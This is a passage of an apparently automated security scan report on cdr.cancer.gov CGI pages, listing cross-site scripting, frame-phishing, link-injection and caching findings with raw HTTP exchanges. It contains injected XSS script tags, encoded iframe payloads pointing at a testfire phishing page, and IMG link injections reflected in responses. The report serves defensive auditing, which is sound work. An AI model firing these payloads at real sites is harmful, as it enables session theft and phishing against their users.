<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> New Published Glossary Terms<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='None'"> <iframe id=1517 src= http://demo.testfire.net/p
hishing.html > >' />
<table border='0'>
```

```
        <tr>
        <th align='right'>Start Date: </th>
        <td><input class='CdrDateField' name='begin' id='begin'
        value='2014-07-16' /></td>
        </tr>
        <tr>
        <th align='right'>End Date: </th>
        <td><input class='CdrDateFi
        ...
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448040 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Request4333.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/Request4333.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:41:01 GMT
Connection: close
Content-Length: 3152

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448066 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Request4333.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/Request4333.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/Request4333.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:15:51 GMT
Connection: close
Content-Length: 3152

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/Request4486.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448184 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Request4486.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(1428)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/Request4486.py? Session=None'/><script>alert(1428)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:03:49 GMT
Connection: close
Content-Length: 4198

...
='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Term Concept by Type Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<fieldset>
<legend>Report Criteria</legend>
<input type='hidden' name='Session' value='None'/><script> alert(1428) </script>' />
<input type='hidden' name='dejavu' value='True' />
<table border='0'>
<tr>
<th align='right'>Term Type: </th>
<td><select name='type'><option
selected='selected'>Administrative</option><option>Anatomy/physiology</option><option>Description<
/option><op
...
...
='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Term Concept by Type Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<fieldset>
<legend>Report Criteria</legend>
<input type='hidden' name='Session' value='None'/><script> alert(1428) </script>' />
<input type='hidden' name='dejavu' value='True' />
<table border='0'>
<tr>
<th align='right'>Term Type: </th>
<td><select name='type'><option
```

```
selected='selected'>Administrative</option><option>Anatomy/physiology</option><option>Description<
/option><op
...
```

## Issue 2 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448068 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Request4486.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'None%27%22%3E%3Ciframe+id%3D1424+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/Request4486.py? Session=None%27%22%3E%3Ciframe+id%3D1424+src%3Dhttp%3A%2F%2Fdemo.
testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:03:46 GMT
Connection: close
Content-Length: 4229


...
BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Term Concept by Type Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<fieldset>
<legend>Report Criteria</legend>
<input type='hidden' name='Session' value='None'"> <iframe id=1424 src= http://demo.testfire.net/p
hishing.html > >' />
<input type='hidden' name='dejavu' value='True' />
<table border='0'>
<tr>
<th align='right'>Term Type: </th>
<td><select name='type'><option
selected='selected'>Administrative</option><option>Anatomy/physiology</option><option>Description<
...
...
BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Term Concept by Type Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<fieldset>
<legend>Report Criteria</legend>
<input type='hidden' name='Session' value='None'"> <iframe id=1424 src= http://demo.testfire.net/p
hishing.html > >' />
<input type='hidden' name='dejavu' value='True' />
<table border='0'>
<tr>
<th align='right'>Term Type: </th>
<td><select name='type'><option
selected='selected'>Administrative</option><option>Anatomy/physiology</option><option>Description<
...
```

## Issue 3 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448150 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Request4486.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1425.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/Request4486.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1425.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:03:47 GMT
Connection: close
Content-Length: 4195

...
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Term Concept by Type Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<fieldset>
<legend>Report Criteria</legend>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF1425.html"> ' />
<input type='hidden' name='dejavu' value='True' />
<table border='0'>
<tr>
<th align='right'>Term Type: </th>
<td><select name='type'><option
selected='selected'>Administrative</option><option>Anatomy/physiology</option><option>Description<
/option><option>Diag
...
...
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Term Concept by Type Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<fieldset>
<legend>Report Criteria</legend>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF1425.html"> ' />
<input type='hidden' name='dejavu' value='True' />
<table border='0'>
<tr>
<th align='right'>Term Type: </th>
<td><select name='type'><option
selected='selected'>Administrative</option><option>Anatomy/physiology</option><option>Description<
/option><option>Diag
...
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448118 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Request4486.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/Request4486.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:54 GMT
Connection: close
Content-Length: 4167

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448158 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Request4486.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/Request4486.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/Request4486.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:15:28 GMT
Connection: close
Content-Length: 4167

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/SemanticTypeReport.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448268 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/SemanticTypeReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'guest'/><script>alert(634)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/SemanticTypeReport.py? Session=guest'/><script>alert(634)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 04:11:14 GMT
Connection: close
Content-Length: 3184

...
UE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Semantic Type Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='guest'/><script> alert(634) </script>'>
<table>
<tr>
<td align='right'>Semantic Type: </td>
<td> <select id='SemanticType' name='SemanticType' style='width:500px'
onchange='semanticTypeChange();'>
<option value='' selected='1'>Choose One</option>
<option value='256154'>
...
...
UE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Semantic Type Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='guest'/><script> alert(634) </script>'>
<table>
```

```
        <tr>
        <td align='right'>Semantic Type: </td>
        <td> <select id='SemanticType' name='SemanticType' style='width:500px'
        onchange='semanticTypeChange();'>
        <option value='' selected='1'>Choose One</option>
        <option value='256154'>
        ...
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448230 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/SemanticTypeReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF631.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/SemanticTypeReport.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF631.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 04:11:12 GMT
Connection: close
Content-Length: 3180

...
'Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Semantic Type Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF631.html"> '>
<table>
<tr>
<td align='right'>Semantic Type: </td>
<td> <select id='SemanticType' name='SemanticType' style='width:500px'
onchange='semanticTypeChange();'>
<option value='' selected='1'>Choose One</option>
<option value='256154'>Cancer st
...
...
'Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Semantic Type Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF631.html"> '>
<table>
<tr>
<td align='right'>Semantic Type: </td>
<td> <select id='SemanticType' name='SemanticType' style='width:500px'
```

```
        onchange='semanticTypeChange();'>
        <option value='' selected='1'>Choose One</option>
        <option value='256154'>Cancer st
        ...
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448270 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/SemanticTypeReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'guest%27%22%3E%3Ciframe+id%3D630+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/SemanticTypeReport.py? Session=guest%27%22%3E%3Ciframe+id%3D630+src%3Dhttp%3A%2F%
2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 04:11:11 GMT
Connection: close
Content-Length: 3215

...
est' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Semantic Type Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='guest'"> <iframe id=630 src= http://demo.testfire.net/p
hishing.html > >'>
<table>
<tr>
<td align='right'>Semantic Type: </td>
<td> <select id='SemanticType' name='SemanticType' style='width:500px'
onchange='semanticTypeChange();'>
<option value='' selected='1'>Choose One</option>
<option valu
...
...
est' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Semantic Type Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='guest'"> <iframe id=630 src= http://demo.testfire.net/p
hishing.html > >'>
<table>
<tr>
<td align='right'>Semantic Type: </td>
```

```
        <td> <select id='SemanticType' name='SemanticType' style='width:500px'
        onchange='semanticTypeChange();'>
        <option value='' selected='1'>Choose One</option>
        <option valu
        ...
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448062 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/SemanticTypeReport.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/SemanticTypeReport.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:28:12 GMT
Connection: close
Content-Length: 3154

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448105 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/SemanticTypeReport.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/SemanticTypeReport.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/SemanticTypeReport.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 17:09:41 GMT
Connection: close
Content-Length: 3154

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/Stub.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448100 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Stub.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'guest'/><script>alert(665)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/Stub.py? Session=guest'/><script>alert(665)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 04:12:04 GMT
Connection: close
Content-Length: 2180

...
equest' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='guest'/><script> alert(665) </script>'>
This report has not yet been implemented, either because
we don't yet have the specs, or because it's behind higher-priority
tasks in the development task queue.
</FORM></BODY></HTML>
...
equest' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='guest'/><script> alert(665) </script>'>
This report has not yet been implemented, either because
we don't yet have the specs, or because it's behind higher-priority
tasks in the development task queue.
</FORM></BODY></HTML>
```

## Issue 2 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448109 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/Stub.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'guest%27%22%3E%3Ciframe+id%3D661+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/Stub.py? Session=guest%27%22%3E%3Ciframe+id%3D661+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 04:12:03 GMT
Connection: close
Content-Length: 2211

...
NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='guest'"> <iframe id=661 src= http://demo.testfire.net/phishing.html > >'>
This report has not yet been implemented, either because
we don't yet have the specs, or because it's behind higher-priority
tasks in the development task queue.
</FORM></BODY></HTML>
...
NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
